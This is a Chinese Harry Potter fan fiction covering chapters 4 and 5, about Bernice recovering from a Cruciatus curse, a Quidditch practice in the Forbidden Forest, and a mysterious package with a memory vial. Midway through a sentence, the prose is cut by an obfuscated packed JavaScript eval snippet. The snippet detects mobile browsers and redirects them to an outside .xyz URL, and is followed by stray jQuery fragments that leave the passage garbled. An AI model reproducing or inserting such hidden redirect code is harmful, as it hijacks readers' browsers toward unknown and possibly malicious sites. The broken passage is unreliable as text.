“梅林的胡子啊,钻心咒!对学生!我简直不敢相信……”医疗翼里,庞弗雷夫人气愤地絮叨着,在装满魔药的橱柜里翻翻找找,“来,喝点这个吧,孩子。你会感觉好些的。” 柏妮丝靠坐在病床床头,接过那个装有魔药的玻璃瓶一饮而尽,顿时感觉一股暖流涌遍自己的全身,她的胳膊似乎也不抽搐得那么厉害了。 “公平地说,这就是把一个恐怖分子放进学校的必然结果。”希娜坐在她床边说,她好像渐渐从那种极度担忧的状态里恢复过来了,“但亚克斯利依然是个混蛋。没有什么能改变这一点。而且,看在一切巫师和麻瓜神明的份上,文森特会杀了我的。” “这不是你的错。”柏妮丝说,“这是我的选择。是我不愿意施那个钻心咒。而且我不后悔。” “我明白。但你又不是第一次知道文森特有多过度保护。”希娜绝望地捂住脸,“他会气炸的。” 柏妮丝最终也没能知道文森特到底有没有“气炸”。希娜的探视时间结束后,她很快被庞弗雷夫人摁着喝了一瓶无梦酣睡剂(“你现在最需要的就是好好休息一下,布瑞南小姐!”),再醒来的时候,已经是第二天早上了。 她睁开眼,感觉全身上下是一种令人安心的温暖。经过一夜好眠,她的身体已经恢复到了几乎正常的状态。但是很遗憾,庞弗雷夫人坚持要她请一天的假在医疗翼休息。这其实有点小题大做了,但你毕竟不能要求一个校医在这种事面前保持镇定。 外边传来一阵脚步声,接着她病床边的帘子被人拉开了。文森特的脸露了出来。从表情看得出来,他已经基本恢复冷静了。 “早安。”他说。 几点了?她用手语问道。她的喇叭还别在在病床边的那件校服外套上。 “七点。你醒得很早。”文森特回答,“我问了劳里埃,昨天你错过的两节课是草药学和魔法史。我把我的笔记复制了一份过来。如果你需要的话,傍晚我还会来送今天的。” 谢谢。柏妮丝说。她看到文森特在她的床边坐了下来,神色严峻。她知道他已经准备好要跟她好好谈谈了。 “还疼吗?”他问。 不疼了。那咒语只持续了几分钟。她决定先发制人,你不用这么担心我,我休息一天就会好的。 “一天?”他扬起眉毛,“恐怕这涉及我的知识盲区了,考虑到我上次经历和钻心咒有关的事之后在圣芒戈住了差不多半年。” 哦,这个。好吧。他犯规。 文森特趁她还不知道怎么回答继续说道:“我不会要求你真的对那个女孩施钻心咒什么的——我知道你宁愿死也不会这么做。但是下次,至少不要这么冒险,行吗?”他的语气好像真的在跟她协商,虽然事实完全不是那么一回事。 她很想知道他所说的“不这么冒险”的方法是什么,但最后她回答,好。 文森特又待了一会儿,然后去礼堂吃早餐去了。毕竟不像她,他今天还有课要上。医疗翼里又只剩下了她一个人。 一直到这时,她才发现自己的床边堆着许多东西,大概都是她睡着时她的朋友们送来的。其中有两本小说,从风格来看是希娜留给她今天打发时间用的。她年段的其他同学们联名送了一盒巧克力蛙,上边还附有一张康复贺卡,卡片上有他们所有人的签名。另外甚至还有两支羽毛笔——虽然她也不太明白为什么会有人想到送这个作为慰问礼物,但它的赠送者,也就是艾克索,显然觉得这很合适。她甚至在底下画了一个蜥蜴脑袋的小涂鸦,旁边圆圆的对话气泡里写着“亚克斯利逊爆了”。 她靠着吃巧克力蛙和看小说度过了一个早上。到中午的时候,今天的第二位探望者出现了。 她吃惊地看着安吉丽娜·古德曼将一罐子曲奇饼干放在她的床边。 “我想了很久应该送你什么,最后还是只送了零食。”她有些不好意思地说,“这些是我暑假的时候自己烤的。希望你喜欢。” 女孩的神情突然有点不自在,补充道:“我不太了解你的口味,只是挑了一些我自己爱吃的。如果你不喜欢的话……” 柏妮丝这才意识到自己还在盯着她看。她连忙否认:“不,没有,我很喜欢,真的。我只是很惊讶你会来看我。” 安吉丽娜脸上一下子露出如释重负的笑容。 “我一直很想当面感谢你,”她解释着,在床边的椅子上坐下,“就是,你知道,昨天那件事之后。” “噢,那没什么。”柏妮丝连忙说,“那是我应该做的。” “不,那不是。”安吉丽娜的语气出乎意料地坚决,双手在膝盖上逐渐绞紧,“承受那个咒语的人本来应该是我。你完全可以照他说的做,而不被任何人谴责。但是你违抗了他——救了我——虽然我们完全不认识,而且你完全没必要这么做。我看得出来承受那个咒语有多痛。所以我想说的是……我真的很感谢你。你是个真正的格兰芬多。” “噢。”柏妮丝干巴巴地说,她真的很不擅长回应这样的感谢。气氛略微尴尬了一阵。 “啊,还有一件事。”最后,安吉丽娜打破了沉默,“那个,如果你不介意的话——我们可以交个朋友吗?” 这个问题可就好回答多了。 “当然!噢,我是说——是的,安吉丽娜,我很愿意。”她惊讶地看到安吉丽娜的脸在听到自己称呼她的名字时亮起了一些。 “那就——”安吉丽娜伸出一只手,表情看起来比刚才自然多了,“很高兴认识你,柏妮丝。” 她没怎么犹豫就握住了那只手。 “我也很高兴认识你。”她说。 (TBC) 4. 怪事不单行 Chapter 04 - Strange Thing Happens, and There''s More Than One 柏妮丝踏出医疗翼已经是第二天的傍晚了。文森特在门口等她,像往常一般很自然地从她手里接过那袋慰问礼品,还有他如约带来的今天一天的课堂笔记。 “我真的已经没事了。”柏妮丝完全看得懂那种评估她身体状况的眼神,于是向他解释道,“其实我今天上午就想出院的,但是庞弗雷夫人跟我说如果我不能在病床上乖乖躺满七个小时,她就不得不对我施一个束缚咒了。” 文森特看起来认为她的说辞勉强可以接受,因为他没再提关于她身体的事。不过从他一贯的看法推测过去,他大概依然认为柏妮丝需要被扔进圣芒戈调养至少一星期。希娜说他“过度保护”不是没有原因的。 离开了医疗翼,柏妮丝才突然意识到自己的鼻子先前被各种魔药的气味浸泡了二十四个小时以上。当时其实没多少感觉,但此时外界的空气却因此闻起来格外清新。她简直感觉如获新生。 她闭上眼,辨认着风中的味道——潮湿而微苦的落叶,黑湖略带腥味的水汽,还有老旧的皮革和野花——等等,皮革? 她还没来得及认真思考为什么会出现如此突兀而奇怪的味道,那阵风就从背后将她抱了个满怀。 “柏妮丝!你活过来了!”风尖叫道。 她缓过神,这才发现艾克索不知道什么时候已经站在了自己面前。她背上背着那个大书包,这解释了刚才那皮革气味的来源。 “我刚要来找你呢。瞧我给你带了什么——”艾克索说着,像请出什么大明星一样从背后掏出一样东西,并一下把它套在了柏妮丝的头上——力度把握得不太好,遮住了她的眼睛——又在她取下那玩意儿的同时再次紧紧拥抱了她。在收获文森特响亮的清嗓子后,她总算急忙松开了胳膊。这时柏妮丝才得以看清她手上的物品,是一个做工有些粗糙,款式花里胡哨的花环,显然艾克索制作它的时候没有使用魔法。 “噢,不好意思,它有些——”艾克索从柏妮丝手里接过因为刚刚的粗暴对待变得有些松散的花环,努力把弯曲的枝条重新绞在一起。 文森特显然不希望有不安定因素——比如一只窜来窜去的苏格兰拟态蜥蜴——在刚刚痊愈的柏妮丝身边转来转去。“你还有什么事吗,呃,艾克索?”他在叫出她的名字时不太自然地停顿了一下,看上去是在脑海中搜索某个类似于“艾克索的姓氏”的东西——对别人直呼教名绝对不是他的强项。 “啊哈,终于发现我的名字有什么特殊之处了,是吧?”艾克索哼了一声,她终于放弃了徒手跟现在已经快散架了的花环斗争——在险些被一朵突然弹起的黄色雏菊抽耳光之后——转身从背上的大书包里——柏妮丝终于知道了那股旧皮革味是从何而来——掏出魔杖施了一个修复咒,“那只监护我的老青蛙觉得一只蜥蜴不应该拥有她的姓氏。如果你觉得艾克索·0001算是一个合理且顺耳的名字,你可以这么叫我。” 当然不。而且这个话题有点太沉重了。 艾克索倒是显得完全没有被影响到。她重新把花环戴到柏妮丝头上,饶有兴趣地欣赏了一阵,最后愉快地下了结论:“嗯……看着还不错。这颜色果然和你挺配的。” “我收到你送我的羽毛笔了。它们很……”柏妮丝笨拙地寻找一个用于形容羽毛笔的褒义词,但最后她放弃了,“……很不错。” “看起来你还没开始用它们。”艾克索说,“不然你对它们的评价会比这高得多。” “什么?” “我是说,我非常推荐你用它们来完成作业——尤其是那种你不太擅长的学科。”艾克索意味深长地朝她眨眨眼睛,“它们会带来好运,你明白我的意思吧。” 实话说,柏妮丝并不太明白。但好在她不需要回答这个问题,因为艾克索抬头看了一眼城堡钟楼上的大钟,说:“时间差不多了。既然你出院了,柏妮丝,你有兴趣去看我训练吗?” 还不等柏妮丝做出反应,她又朝着文森特补了一句:“还有你,斯莱特林小子,你也可以来,如果你保证不把我们的战术告诉你们院队的话。” 她显然是默认柏妮丝会同意,而且柏妮丝确实同意。于是两个女生一起看向文森特,其中的征询意味不言自明。文森特被她俩看得有点发怵。场面一时间僵持住了。 “你到底来不来?”最后,艾克索有点不耐烦地说道,“告诉你,可不是每个斯莱特林都有机会被格兰芬多院队邀请的。你要是来就赶紧做保证,不来我可要带柏妮丝走了哦。” 文森特又停顿了一会儿,但比上次短得多。 “不泄密的事,你大可放心。”他慢慢地说。 —— 令人奇怪的是,艾克索并没有带他们前往魁地奇训练场。她愉快地背着那个磨损严重的大书包走在最前边,领着他们往另一个方向走去。 “禁林。”文森特在半途突兀地出声,很难说他的声音是平静还是极度震惊,“别告诉我你们在那里训练。” “你已经发现啦?”艾克索微微侧过脑袋,赞许地答道,“对,就是那儿。” 所以这就是为什么他们可以在斯莱特林院队全天包场的情况下继续训练,柏妮丝想。但这不是最重要的事。 “为什么你们要在那里训练?是球队传统还是……”她问。 “别傻啦,姑娘。格兰芬多再喜欢标新立异也没到自讨苦吃的程度。”艾克索说,“其实这也是今年才开始的——起因是亚克斯利想要把我终生禁赛。” “什么?为什么?”柏妮丝诧异道。但下一秒她就想明白了。 “血统问题。”文森特缓慢地说,“他觉得你的血统不纯粹。” “没必要说这么委婉,孩子——他简直认为我的血管里流的都是泔水。要知道,我严格来说不止不是巫师,连人类都不是。”艾克索说,“他一开始想给我搞个终生禁赛的证明来着,但球队里的其他人死活不肯。倒不是他们中的大部分人很喜欢我,但是他们忍受不了让院队任亚克斯利摆布。他和他们在场地上大吵一架,最后斯内普来了。他倒是没有让我禁赛,但他把整支球队在场地上训练的权利都取消了,理由是‘顶撞教授’。要我看,他的行径跟亚克斯利也没什么区别。” 其实有。柏妮丝心想。 “这两个惩罚性质不一样。”文森特替她说了出来,“亚克斯利的惩罚是基于血统论,而斯内普的惩罚虽然更重,却和血统问题无关。硬要说他在针对谁,那也只是格兰芬多这个学院。” “那说得通。”艾克索评论,“瞎了眼的青蛙都看得出他多讨厌格兰芬多。” “但是他为什么要这么做?”柏妮丝若有所思地说,“亚克斯利来之后我才注意到,斯内普教授好像基本没有因为血统问题对学生差别对待过。就比如,他从来都没有用‘泥巴种’来称呼麻瓜血统。但是,他们不应该都听从神秘人的要求吗?是什么造成了这种不同?” “我个人认为这是因为斯内普自己也是混血。”文森特说,“亚克斯利所说的‘混血统间的互相怜惜’并不是全无道理。我倒不是说他还有什么同情心,但斯内普作为血统论中的弱势者,肯定不能像亚克斯利那种二十八圣族出身一样全身心地支持纯血统至上之类的东西。” “但我觉得这件事没有这么简单。”柏妮丝说,“虽然这么说听起来很奇怪,但我总有一种感觉,斯内普教授在有意识地在霍格沃茨淡化血统之间的高低贵贱……” “哎呀,好啦,再这么下去我都要因为你俩爱上斯内普了。”眼见着话题越跑越偏,艾克索出声阻止道,“为什么不说点别的呢?比如——你知道我们球队新来了一个击球手吗?” 接下来的五分钟里,她向他们介绍了兰伯特·麦克米兰——这个三年级男孩因为刚刚得到自己的第一把扫帚,在开学第一周就找到厄多博德要求成为下一任击球手。他的出现让他们院队取消了原定于九月中旬的新队员选拔,也算省了不少麻烦。艾克索兴高采烈地告诉他们,兰伯特现在正跟着她学习成为一名优秀的击球手。能成为一个人仰慕的对象,这件事肯定让她备受鼓舞。 他们闲聊着进了禁林——因为现在没有了猎场看守,这件事变得很容易——又兜兜转转来到了一片不小的空地上。那里立着几个树枝和晒干的藤蔓做成的简易的球框。院队的队员们正骑着各自的扫帚,在暮色中像鸟儿一样飞来飞去。 希娜第一个看见了他们,她朝他们挥了挥手:“嘿,你们怎么来啦?” “艾克索带我们过来看看。”文森特回答。 “哟!你好,柏妮丝!”莫娜朝他们喊,“还有这位斯莱特林的同学——你是叫文森特·阿彻尔吧?你也好!” “一个斯莱特林怎么能来看我们训练呢?”一个身材高瘦、一头金发的高年级男生皱着眉头说,他就是克里斯托弗·厄多博德,“万一他说出去了……” “放心,克里斯。他俩是我朋友。”希娜对他说,“要是出事了算我头上。” 厄多博德的疑虑似乎被打消了一些。他对他们嘱咐了一句“你们在边上看着,不要捣乱”,然后又飞走了。 这时候,一个栗色头发的大个子朝他们走过来。柏妮丝一眼看到他的脸上有一个很醒目的大鼻子。 “艾克索!你终于来了!”他热情地叫道,挥着一条壮硕的胳膊,“我们今天干什么?” “那就是兰伯特·麦克米兰?”柏妮丝压低声音问艾克索。 “是呀。”艾克索一边挥手回应那人,一边愉快地答道,“怎么啦?” “没什么,只是……”柏妮丝欲言又止,“我以为他会更,呃,小一点。” “噢,兰伯特年纪虽然最小,个子却是全队最大的。天生的击球手一般都是这样。”艾克索咧嘴一笑,对兰伯特喊道,“你等下先继续跟我练挥棒!就你昨天那个力度,要想把对手打下扫帚还差了点!” 她朝他们丢下一句“我先走了”,便和兰伯特一起往空地的一个角落走去。那里还放着一把旧扫帚,似乎是兰伯特提前从霍格沃茨的扫帚棚里替艾克索拿来的。 “她相当享受当老师的日子,是吧?”文森特站在她边上说。 “是啊。”柏妮丝说,心里说不出地为这一幕感到高兴,“我们先找个地方坐吧。” 他们很快注意到,空地边缘的一块不小的长条形石头上还坐着一个格兰芬多高年级女生。她把一卷羊皮纸放在膝盖上,底下用课本垫着,正忙着在上边写着什么。柏妮丝瞟了一眼,那似乎是变形术课的论文。听见他们靠近的脚步声,她抬起了头,好奇地打量着他们。看到他们脸上的疤痕的时候,她的目光停了一下,但很快又礼貌地转开了。 “你好。”柏妮丝说,“请问我们能坐在这儿吗?” “噢,当然可以。”她说着,往旁边挪了挪,腾出两个空位,“你们是来看他们训练的吗?” “对。你也是吗?”柏妮丝问。 “算是吧。其实我是来陪我朋友的。”女孩微笑着指了指天上正骑着扫帚飞行的一个追球手,那是一个姜黄色头发的女孩,正在和乔纳森·马克罗用几个网球练习抛接球,“我叫海伦·加里根,天上那位是维利卡·伍兹。” “噢,我叫柏妮丝·布瑞南。这是我朋友,文森特·阿彻尔。”柏妮丝忙自我介绍道,“海伦,你每天都来吗?” “也不全是。你看,我是级长,有时候可能要集合开会之类的。”海伦说着,给他们看自己衣服上别着的级长徽章,“不过其余时候我都会过来。他们从九月份起就一直在这里训练,其实挺不容易的。” “我记得这件事是因为艾克索的血统问题?”柏妮丝试探着问。 “的确如此。但我赞同他们的做法。”海伦的表情变得严肃,她将自己卷曲的棕色长发撩到耳后,“这件事的象征意义比它本身更重要。如果他们真的像亚克斯利妥协了,那就相当于向血统歧视低头。而这种妥协只要有第一次,接下来要发生什么就难以预测了。” 他们一边聊天,一边看着格兰芬多的队员们在他们头顶上紧锣密鼓地训练着。他们先是围在最中间,花了十几分钟商议十一月那场比赛的战术,接着便分开来各自练习。就是这时,希娜忽然喊道:“看过来,克里斯!我要尝试个新东西!” 所有人都停下了手上的动作,往她的方向望过去。厄多博德朝她比了个手势,示意她可以开始。希娜深吸一口气,将扫帚头往下一倾,向下冲去。 她从一个相当高的高度开始俯冲,速度几乎可以说是自由落体。柏妮丝看着她一路往下:三十米——二十米——十米——五米——剩下的高度已经不多,她却全然没有减速的意思。 “太低了!太低了!”有人惊呼道,“快停下!” 希娜的扫帚无所畏惧地继续向前冲去。 怎么回事?她的扫帚失控了吗?这个角度直直摔下来,一定会受伤的—— 当扫帚马上就要碰到地面时,奇迹发生了——希娜猛地将扫帚头向上一拽,扫帚拐了九十度,不再竖直朝下飞行,而是如离弦之箭一般贴着地面向前飞去。她又是一拽,扫帚在半空中划出一道弧线,带着她嗖地一下窜回了原先的高度。希娜稳稳坐在扫帚上,挥动着一条胳膊。她脸上挂着胜利的笑容,一头红发随风飘扬。 “怎么样?”她大声问。 柏妮丝忽然感觉自己又可以呼吸了。她这才发现自己刚才一直用双手捂着嘴。在她旁边,海伦如释重负地叹了口气,松开了手中一直紧紧捏着的羽毛笔。文森特咕哝道:“你们格兰芬多就擅长拿生命开玩笑。”柏妮丝能从他的语气里听出,他刚才的紧张和担忧并不比她们两个少。 “那太棒了,希娜!”莫娜骑在扫帚上,将双手拢成喇叭状,朝她喊道。 “你真是酷毙了,姑娘!”艾克索大叫,“答应我,你一定要用这招害斯莱特林的那家伙摔断腿!胳膊也行!” “这就是我想做的,艾克索。”希娜笑吟吟地说。 “那是朗斯基假动作——1994年魁地奇世界杯赛上,威克多尔·克鲁姆就是靠这一招让他的对手林齐掉下扫帚的。”乔纳森托了托眼镜,那神情活像神奇动物学家看见了一头活着的独角兽,而且那独角兽还在给他表演踢踏舞,“真是太精彩了……惊为天人……” “这有点冒险,劳里埃,但也相当令人印象深刻。”厄多博德难掩激动地说,“如果你能将这个技巧再稍加精进,然后将它应用在比赛中,那我们今年一定能赢得冠军。” 厄多博德把希娜叫了过去,大概是跟她交流几点改进建议——虽然柏妮丝作为外行看不出还有什么可改进的。这时候,只见一个人骑着扫帚朝他们飞速赶来。到了近前她才看见,那是维利卡·伍兹,海伦先前指给她的那个朋友。 “你看到了吗,海伦?”维利卡骑着扫帚飞到海伦边上,眼睛闪闪发光,“希娜刚才那一招简直绝了!” “我看见了,我看见了,维利卡。”海伦微笑着安抚她,“你们的训练我都看着呢。” 在她们聊天——主要是维利卡叽叽喳喳地说话——的同时,柏妮丝转向文森特。 “他们太惊人了。”她轻声说。 是“他们”,不是“她”。最让她惊叹的不是他们的技巧,而是他们展现出的那种生命力。他们那副模样让你知道,他们不知何为妥协,也不曾听说过何为退缩。禁令和威吓对他们丝毫不起作用。但凡全英国还有一方开阔的天空——哪怕是在遥远的德文郡,他们也要骑着扫帚赶到那里,逆着疾风如鹰隼般飞翔。因为他们足够年轻,足够勇敢,足够有热情。因为他们是格兰芬多。 文森特肯定明白她的意思,但他也肯定还在因为希娜刚才的冒险举动生气。因为他只从鼻子里哼了一声,说:“如果他们不懂得珍惜自己的身家性命的话,那也就那样吧。” —— 战后的霍格沃茨在许多方面都与阿不思·邓布利多时期保持一致,但其中并不包括发生在各个节日的庆祝仪式。虽说到目前为止,学生们依然可以在圣诞节和复活节享有假期(否则他们会被学业逼疯的),但为留校学生举办的节日晚宴之类的活动如今已经统统取消了。毕竟那些严格意义来说都是麻瓜节日。如果让魔法部的人知道当代的年轻巫师竟敢把自己置于和麻瓜相同的位置庆祝同一个日子,那他们肯定会气出心脏病的。 因此,在万圣节前夕,柏妮丝没有任何别的事可做,只好待在公共休息室里写自己的魔药课论文。论文标题是嚏根草在魔药中的作用。但问题是,她一时间根本想不起来有哪些魔药使用了嚏根草。正当她咬着羽毛笔的尾端绞尽脑汁的时候,公共休息室的玻璃窗外忽然传来了一阵激烈的拍打声。 那是一只漂亮的草枭。玻璃窗一开,它就迫不及待地飞进屋子,落在一张扶手椅的靠背上,安静地用一双黑溜溜的大眼睛看着她。她走过去,看见它腿上绑着一个手掌大小的羊皮纸包裹,上面还写着一行小字。 霍格沃茨格兰芬多公共休息室柏妮丝·布瑞南小姐收 这很不寻常,因为自从母亲去世,她就再也没有收到过来自校外的猫头鹰邮件了。她把希娜叫了过来,让她陪自己一起看看这个可疑的包裹。艾克索闻讯也赶了过来,从她们俩的脑袋中间好奇地打量着她们手里的东西。 “好吧,让我先检查一下——荧光闪烁。”希娜将亮起的魔杖尖抵在包裹后方,透过光眯着眼睛辨认,“里边好像有一张纸,一个玻璃瓶——也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039690|162458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能是水晶瓶,我不知道。然后还有,呃,一个方形的东西,可能是个盒子……看上去倒是没什么危险……” “那我们打开吧?”艾克索迫不及待地说。 两分钟后,这个羊皮纸包裹被拆开了,里边的东西在公共休息室的一张桌子上排成一排。最左边是一个水晶瓶,里边装着一团奇怪的东西,看着像是一缕银白色的细丝。中间是一个铁制的小匣子,外表略有点生锈。它里边应该有东西,但上了锁,没法打开。最右边的是一张便条,上面写着:“你父亲将这些东西托付于我。现在是时候将它们归还了。”没有署名,唯一的线索是信纸正中印着的一个哥特体的字母“B”图案,大约是私人定制的特殊款。 她们叫来了文森特,四个人花费了好些功夫试图打开那个铁匣子,但到最后都没能成功——无论是阿拉霍洞开还是四分五裂,碰到它都只能激起一阵火花,没有任何实际效果。最后文森特下定结论,这个盒子一定被施了相当复杂的保护咒,至少他们这些四年级学生是肯定没法解开的。 便条是最容易看懂的,这既有好处也有坏处。坏处就是它能提供的信息非常有限。柏妮丝和文森特都认为上面所说的“你父亲将这些东西托付于我”和六年前的事情有关。但很遗憾,如今他们对于这件事的了解并不比六年前多多少。至于那个印在信纸上的字母,他们初步判断和寄信人的身份有关——而且寄信人一定有足够的地位和财富,才会讲究到连信纸都需要定制——然而最终也一无所获。他们没能找到任何一个可能跟这个语焉不详的字母“B”有关的人选。 就这样,针对那张便条的调查也陷入僵局。最后,他们只好转向那个水晶瓶。 —— 图书馆里,艾克索正缠着一个赫奇帕奇男孩聊天。那人一头黑色中长发,五官相较于大部分男生要显得清秀许多。艾克索黏在他边上,在他认真写论文的时候不停地拿一只羽毛笔挠他的脸。那男孩也不生气,只是伸手把那只羽毛笔拿走。显然他是那种不管别人开什么玩笑都能容忍的性格。艾克索气恼地哼唧着去抢那只被男孩拿到远处的羽毛笔,两个人就这么在座位上打闹起来。 “哈。”文森特说。 “真甜蜜啊。”希娜说。 柏妮丝……好吧,柏妮丝还没想好该说什么。 “记得我先前说的迷情剂那事吗?就是他。”希娜懒洋洋地告诉他们,然后又低头去看自己胳膊肘底下的那本摊开的大部头,“顺便一问,你们真的确定我能在这本书里找到那玩意儿吗?我看它上边全在介绍什么种类的宝石适合施诅咒。” 这时候,他们正在图书馆里,查找那个水晶瓶中的银白色物质的种类。艾克索本来说要来帮忙,但显然隔壁桌的戴特?加拉提亚更有吸引力。柏妮丝刚刚开始浏览《魔法史上的一百种神奇矿物》——其实她很怀疑那物质能被归类为“矿物”的可能性。她选择这本书纯粹是因为别的书都已经被他们翻烂了。这已经是他们在这里查找资料的第二天,但很不幸,他们依然一无所获。 “嘿,你们觉不觉得我们的搜索方向可能出了点问题?”希娜问。她终于合上了那本大部头,把它放在了他们已经翻阅过的那摞书顶上。如果把这个书堆当成一棵玉米之类的作物,那它的长势可以说相当喜人。 “我们真的还有所谓的‘搜索方向’吗?”文森特苦笑了一下,把头在自己那本《你没听说过的千种东方魔法材料》里埋得更深,“我感觉我们已经把整个图书馆里和‘物质’沾边的书都找来了。” “难道我们真的有必要去禁书区找找?”柏妮丝说,“但那样就比较麻烦了……” “那个,请问你们在找什么?”她身后突然传来一个有点小心翼翼的声音,“啊,是你啊,文森特。你和你的朋友需要我帮忙吗?” 一个会主动跟文森特打招呼的人可不太多见。两个姑娘转过头去,看见一个男孩,身穿拉文克劳校袍,生着浓眉和雀斑,一头卷曲的棕色短发乱蓬蓬的。他的鼻梁上架着一副很有些重量的厚框眼镜,一双祖母绿色的眼睛在酒瓶底一样的镜片后怯生生地眨着。 “噢,你好,泰德。”文森特抬头说道。 场面出现了一瞬间的寂静。 “你交了个朋友。”希娜慢慢地吐出这句话,“而且你用教名称呼他。” “而且你没有告诉过我们!”柏妮丝惊呼。 “呃,是的。”文森特被她俩搞得有点手足无措,“你们听我说……” “天啊,我们的文西宝贝交了新朋友!”希娜以有概率招来平斯女士的鸡毛掸子的音量惊叫道,夸张地双手捂住嘴,“噢,梅林啊——我们该给他颁个小奖杯!” 文森特看起来正在经历一场剧烈的偏头痛。 两分钟后,她们差不多搞明白了这俩人到底是怎么回事。这位拉文克劳叫泰德·布莱特,和文森特二年级时在草药学课上相识。文森特——先不说他是不是故意的——竟然把这事瞒了她俩两年,希娜因此搂着柏妮丝的肩膀长吁短叹,时不时装模作样地擦眼泪或吸鼻子。泰德一度被事态的发展吓得不敢动弹,直到文森特疲惫地说“别管她”才终于敢走到桌前。 “这个应该不是魔法物质之类的东西。”他把水晶瓶举到半空中,对着光晃了晃,“如果我没猜错,这应该是一段记忆。” “记忆?”柏妮丝问。 “是的。”泰德点点头,神情严肃起来,“我之前在书里看到过,巫师可以用魔法把记忆提取出来。游离态的记忆是一种银白色的丝状物质,无重量,用水晶瓶可以保存。这个瓶子里的东西看起来符合描述。” “也就是说,那个人给我们寄了一段记忆。而且从便条来看,应该是柏妮丝的父亲的记忆。”希娜说,她这会儿也不开玩笑了,“如果说记忆内容可以再次查看的话,那个人应该是想借此给我们传达什么信息——泰德,有什么方法可以做到这一点吗?” “有的。”泰德连忙点点头,“把记忆放入一种叫作冥想盆的器皿,就可以查看记忆内容。” 艾克索这时候撇下了戴特,来到柏妮丝和希娜中间,一手搭在一个人的肩膀上,问道:“怎么,你们有进展啦?” 希娜开始给她解释刚才发生的事,文森特在这时开口:“冥想盆……问题在于,我们现在没法离开霍格沃茨,怎么获得一个冥想盆?” “嗯,其实,”泰德开口了,语气有点怪异,“离我们最近的一个冥想盆就在霍格沃茨。” “真的吗?”柏妮丝忙问,“在哪里?” “我也是在《霍格沃茨:一段校史》里读到的。”泰德犹犹豫豫地说,“据说四大创始人在霍格沃茨的地下发现了这个冥想盆。此后,它就一直被放在……校长办公室里。” 校长办公室。 几个人又沉默了一阵。 “也就是说,现在我们要解决的问题就是怎样闯入那间破屋子了,对吧?”最后,艾克索摩拳擦掌地说。 泰德看他们的眼神突然变得像是看见了一群会后空翻的鹰头马身有翼兽。在另一张桌子前看书的塔伦·埃德里安也被这话惊得看过来。 “倒不是完全没有可行性。”文森特深思熟虑地说(这下泰德也开始用新的眼光打量他了),“斯内普经常有不在办公室的时候……” “但是我记得进入校长办公室需要口令。”柏妮丝说,“你们有人知道口令是什么吗?” 显然,她的话给所有人当头泼了一盆冷水。 “没有人。”过了好一会儿,希娜说,“你们觉得级长们会不会知道?” “我希望你没有打算随便找个级长然后问:‘你好,请问你能告诉我怎么进入校长办公室吗?’”文森特说。 “我没那么傻。”希娜说,但她肉眼可见地沮丧了一些,“唉,看来这就是问题所在了——我们知道那个冥想盆在哪里,但却不能去找它。” 柏妮丝叹了口气。“看来这个问题只能回头再讨论了。”她说。 —— 令人意外的是,这个“回头”并没有花费很长时间——当天晚上,翅膀拍打玻璃窗的声音再一次出现在了格兰芬多公共休息室。 柏妮丝再次起身去开窗。这次来的是一只鸣角枭。它落在一张桌子上,高傲地叫着索要猫头鹰食。柏妮丝将一块从芬恩·戈多那里要来的熏咸肉递给它,它这才抬起爪子,露出绑在它腿上的纸条。它朝她“咕咕”叫着,显然是在催促她把纸条解下来。 不是吧,又是给她的? 柏妮丝将纸条解下,展开。这张纸条差不多跟她上次收到的一样短,但是上面的字迹不同。这位写信人的字体明显更加窄瘦而一丝不苟。上面只有一行字。 校长办公室的口令是“阿比西尼亚皱缩无花果”。 (TBC) 5. 戈德马蒂克之石 Chapter 05 - The Stone of Godmadic 在看到字条时,除开几乎要扬到发际线之上的眉毛,文森特的表情几乎没什么变化。 “怎么样?”柏妮丝问。她和希娜正尽量弯下身子,确保自己的大部分身体隐藏在斯莱特林长桌下而不引起教工席上正以一种得意洋洋的目光巡视整个礼堂的亚克斯利的注意。 “你觉得这是怎么回事?这里面的内容是可信的吗?或者会不会是——” 文森特用手势打断了希娜连珠炮般的发问,望着那张纸条,脸上露出微妙的神情。随着他们声音的停止,远在餐桌另一头的塞德汀也收回了视线——她刚才一直用一种鄙夷的目光望着他们。会蹲在餐桌旁鬼鬼祟祟交谈的人在她眼里的形象肯定不怎么样。她身边的塔伦轻轻拍了拍她的手背。柏妮丝奇怪塞德汀为什么没有走过来以过于吵闹为由给格兰芬多扣上十分。 自然,她们俩在早餐时直接来到斯莱特林长桌是鲁莽了些,但显然任何人都无法责怪她们的做法——她们真的一秒钟都等不了了。柏妮丝被这张不知从何而来的字条占据脑袋折磨了一整个晚上,简直就像给她的大脑施了个膨胀咒。天知道她有多需要第三个人的意见。 不过,文森特对此的反应实在过于奇怪了。他转过头,花了差不多十秒钟保持沉默并持续凝视斯莱特林餐桌上的某个地方,脸上的表情依旧有些古怪。然后他终于想起来自己还没发表意见。 “无论是谁写了这张纸条,这个人都肯定听到了我们的谈话。但他又不肯透露自己的身份。这一点相当可疑。”文森特把纸条不必要地在手里翻来覆去,“不过……” 他又沉默了,这次更明显地在思考着什么,丝毫不在意旁边的希娜看起来有多想灌他一整瓶吐真剂。终于,在足够长的停顿之后,他再次开口。 “不过我想,我们可以先试着相信它。” 她们没有立刻接话,想等待一个下文。然而怪异的是,文森特看起来并没有就这个结论进一步解释的意图。 “所以——”希娜不快地说,“你只打算告诉我们这么多?” “对。”文森特简短地说,目光再次移向他刚才注视的方向。 “你有时候真的很奇怪,文森特。”希娜抱起胳膊,“你知道的肯定比我们多,我看得出来,无论是从你的表情还是——你到底为什么一直盯着埃德里安的那杯南瓜汁?别人的饮料对你这么有吸引力吗?还是你单纯想抢她的东西?” “没什么。”文森特收回了目光,“另外,回答你的问题:我所知道的不过是一些个人猜测,没有分享的价值。在证实它之前,我不想为此浪费我们所有人的时间。” “好吧,既然你这么坚持的话。”希娜说,然后又嘟囔了一句,“你真是越来越神秘了。” “那么,”文森特突然再次开口,颇有些转移话题的嫌疑,“时间就定在今天晚餐前。如果到时候能确定斯内普在别的地方,我们就去校长办公室。” “这样会不会有些冒险?”柏妮丝问。 